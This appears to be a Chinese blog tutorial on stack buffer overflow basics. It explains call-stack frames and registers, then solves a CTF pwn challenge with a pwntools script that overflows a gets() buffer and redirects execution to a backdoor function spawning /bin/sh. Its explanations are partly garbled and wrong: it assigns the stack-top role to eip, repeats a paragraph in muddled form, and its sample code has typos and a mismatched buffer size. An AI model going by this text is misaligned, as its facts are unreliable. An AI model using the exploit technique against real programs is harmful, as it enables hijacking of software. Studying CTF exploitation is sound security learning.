栈溢出基础

函数调用栈是指程序运行时内存一段连续的区域。用来保存函数运行时的状态信息,包括函数参数1与局部变量等。称之为栈是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶
在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态
函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。
函数状态主要涉及三个寄存器——esp,ebp,eip。
eip用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。ebp用来索引确定函数参数或局部变量的位置。eip用来存储即将执行的程序指令的地址,cpu依照eip的存储内容读取指令并执行,eip随之指向相邻的下一条指令,如此反复,程序就得以连续执行命令。

当发生函数调用时,首先将被调用的函数(callee)的参数按照逆序依次压入栈内,如果被调用函数(callee)不需要参数,则没有这一步骤,这些参数仍会保存在调用函数(caller)的函数状态内,之后注入栈内的数据都会作为被调用函数(callee)的函数状态来保存。
然后将调用函数(Caller)进行调用之后的下一条指令地址作为返回地址压入栈内,这样调用函数(Caller)的eip(指令)信息得以保存。
再将当前的ebp寄存器的值(也就是调用函数的基地址)压入栈内,并将ebp寄存器的值更新为当前栈顶的地址,这样调用函数(Caller)的ebp(基地址)信息得以保存。同时,ebp被更新为被调用函数(callee)的基地址。
再之后是将被调用函数(callee)的局部变量等数据压入栈内。
在压栈的过程中,esp寄存器的值不断减小(对应于栈从内存高地址向低地址生长)。压入栈内的数据包括调用参数,返回地址,调用函数的基地址,以及局部变量,其中调用参数以外的数据共同构成了被调用函数(caller)的状态。在发生调用时,程序还会将被调用函数(callee)的指令地址存到eip寄存器内,这样程序就可以依次执行被调用函数的指令了。

看过了函数调用发生时的情况,就不难理解函数调用结束时的变化,变化的核心人物是对其被调用函数(callee)的状态,并将栈顶恢复为调用函数(caller)的状态。
首先被调用函数的局部变量会从栈内直接弹出,栈顶会指向被调用函数(callee)的基地址,然后将基地址内存储的调用函数(caller)的基地址从栈内弹出,并存到ebp寄存器内,这样调用函数(caller)的ebp(基地址)信息得以恢复,此时栈顶会指向返回地址。
在压栈的过程中,esp寄存器的值不断减小(对应于栈内从内存高地址向低地址生长)。压入栈内的数据包括调用参数,返回地址,调用函数的基地址,以及局部变量,其中调用参数意外的数据共同构成了被调用函数(callee)的指令地址存到eip寄存器内,这样程序就可以依次执行被调用函数的执行了。
变化的核心人物是对其被调用的函数(callee)的状态,并将栈顶恢复为调用函数(caller)的状态.

当函数正在执行内部指令的过程中,我们无法拿到程序的控制权,只有在发生函数调用或者结束函数调用时,程序的控制权会在函数状态之间发生跳转,这时才可以通过修改函数状态来实现攻击,而控制程序执行指令最关键的寄存器就是eip,所以我们的目标就是让eip载入攻击指令的地址。

缓冲区溢出:
编写程序时没有考虑到控制或者错误控制用户输入的长度,本质就是向定长的缓冲区中写入了超长的数据,造成超出的数据覆写了合法内存区域。

1:栈溢出(Stack overflow)
最常见,漏洞比例最高,危害最大的二进制漏洞
在CTF PWN中往往是漏洞利用的基础。

int overflow()
{
char buf[8];
read(0,buf,16);
}

2:堆溢出:
堆管理器复杂,利用花样繁多。
CTF PWN中的常见题型
3:Data段溢出(比如bss段,比较少见)
攻击效果依赖于Data段 上存了何种控制数据。

例题:

int __cdec1 main(int argc,const char **argv,const char **envp)
{
char v4[16];
setbuf(stdin,0LL);
setbuf(stdout,0LL);
setbuf(stderr,0LL);
puts("Welcome !");
puts("your suggestion:");
gets(v4).
return 0;
}``

get函数很危险,用户可以输入任意长度的内容,从它入手,点击v4并找到v4的缓冲区为10,同时我们发现backdoor函数里面能够直接拿到system的shell,

init backdoor()
{
puts("Wow,you success!");
return system("/bin/sh");
}
-00000000010 var_10   db 16 dup(?)
+00000000000 s        db 8 dup(?)
+00000000009 r        db 8 dup(?)

v4用于接收用户输入的数据,点击v4后发现他的位置在-10,要想读到+8(r)的话,共需要0x18,

且在backdoor对应的start处看到对应的地址是0x400677

from pwn import *
p=process("./overflow")
backdoor=0x400677
payload='a'*0x18+p64(backdoor)
p.recvuntil("your suggestion:\n")
p.sendline(payload)
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值